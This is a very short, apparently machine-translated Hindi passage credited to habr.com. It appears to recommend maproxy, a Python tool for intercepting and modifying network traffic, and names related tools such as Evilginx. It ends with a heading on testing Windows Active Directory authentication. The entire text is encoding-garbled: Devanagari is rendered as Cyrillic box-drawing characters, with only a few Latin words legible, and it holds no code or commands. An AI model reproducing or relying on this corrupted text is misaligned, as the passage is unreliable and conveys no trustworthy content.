рдореЗрд░реА рд░рд╛рдп рдореЗрдВ maproxy рдПрдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдФрд░ рд╕рд░рд▓ рдЙрдкрдХрд░рдг, рдЬреЛ рдкрд╛рдпрдерди рдореЗрдВ рднреА рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдореЗрд░рд╛ рдорд╛рдирдирд╛ тАЛтАЛрд╣реИ рдХрд┐ рдЖрдк рднреА рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВред рдмреЗрд╢рдХ, рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рдФрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рдЙрдкрдХрд░рдг рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЙрдиреНрд╣реЗрдВ рднреА рдЕрдзрд┐рдХ рдзреНрдпрд╛рди рджреЗрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдФрд░ рдЖрдорддреМрд░ рдкрд░ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЙрдкрдпреЛрдЧ рдХреЗ рдорд╛рдорд▓реЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдПред рдореБрд░реИрдирд╛, рдореЛрджрд▓рд┐рд╢реНрдХрд╛ рдпрд╛ Evilginx рддреАрд╕рд░реЗ рдХреЗ рд╕рдорд╛рди рдорд╛рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП, рдпрд╛ canape рдЖрдЦрд┐рд░реА рдорд╛рдорд▓реЗ рдХреЗ рд▓рд┐рдП. рдХрд┐рд╕реА рди рдХрд┐рд╕реА рддрд░рд╣, рдорджрдж рд╕реЗ maproxy рдЖрдк рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрдиреЗ рд╡рд┐рдЪрд╛рд░реЛрдВ рдХреЛ рддреБрд░рдВрдд рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рдЙрджрд╛рд╣рд░рдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрд╣реБрдд рд╕реНрдкрд╖реНрдЯ рд╣реИрдВред

Windows AD рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рддрдВрддреНрд░ рдХрд╛ рдкрд░реАрдХреНрд╖рдг

рд╕реНрд░реЛрдд: www.habr.com

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдЬреЛрдбрд╝реЗрдВ